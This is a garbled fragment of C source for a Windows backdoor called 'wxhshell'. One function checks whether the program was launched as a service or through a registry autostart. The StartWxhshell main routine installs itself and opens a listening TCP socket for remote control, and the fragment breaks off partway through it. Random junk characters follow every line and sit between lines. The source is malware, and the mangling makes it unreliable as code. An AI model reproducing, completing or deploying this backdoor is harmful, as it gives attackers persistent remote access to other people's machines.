ULONG InheritedFromUniqueProcessId; qP&:9eL
} PROCESS_BASIC_INFORMATION; B/;'D7i|S
$%'3w~h`
PROCNTQSIP NtQueryInformationProcess; vGPsjxk&
#639N9a~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dS <*DP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d+5~^\lV
{,*vMQ<^
HANDLE hProcess; 3iX\):4
PROCESS_BASIC_INFORMATION pbi; d:^B2~j
H[OgnnM
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IoK/ 2Gp
if(NULL == hInst ) return 0; <-N2<sl
uifVSf*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :/Es%z
D
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >mR8@kob<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 34N~<-9AY
wYV>Qd
Z
if (!NtQueryInformationProcess) return 0; uPYH3<
3Z me?o*bY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f{[0;qDJ
if(!hProcess) return 0; liLhvcd
%m[ZU<v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z_S{$D
Gky^S#
CloseHandle(hProcess); nu~]9~)I
$)8,dS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aH@-"Wi
if(hProcess==NULL) return 0; 5U+4vV/*
O1t$]k:
HMODULE hMod; kcg\f@d$
char procName[255]; `=,emP&(H&
unsigned long cbNeeded; [2Nux0g
s/C'f4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LGW_7&0<<
<m1v+cnqo
CloseHandle(hProcess); -MTYtw(
J>nBTY,_<
if(strstr(procName,"services")) return 1; // 以服务启动 `JPkho
Vq{3:QBR
return 0; // 注册表启动 $6D*G-*8
} (*Q:'2e
K5XW&|tY!
// 主模块 Av5:/c.B
int StartWxhshell(LPSTR lpCmdLine) MpZ\j
{ Vr( Z;YO
SOCKET wsl; y35~bz^2
BOOL val=TRUE; a@qc?
int port=0; 8=joVbs
struct sockaddr_in door; udLI AV*
6j6;lNUc
if(wscfg.ws_autoins) Install(); fxr#T'i
CAs:>s
'8
port=atoi(lpCmdLine); a\}MJ5]
xz5A[)N
if(port<=0) port=wscfg.ws_port; zUv#%Q8vw
3T
gX]J@
WSADATA data; n;N79`mZC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^w.]1x
G\;6n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,J!$Q0 e
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /"u37f?[^
door.sin_family = AF_INET; Rq[d\BN0.d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ur>1eN%9'
door.sin_port = htons(port); 2xX:Q'\2
cY_ke
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P}A!C9Frh
closesocket(wsl); pe+h8
return 1; GbL1<P$V
} 9jEH"`qqk
h3 XSt
if(listen(wsl,2) == INVALID_SOCKET) { 0*rD'?)K+
closesocket(wsl); b"N!#&O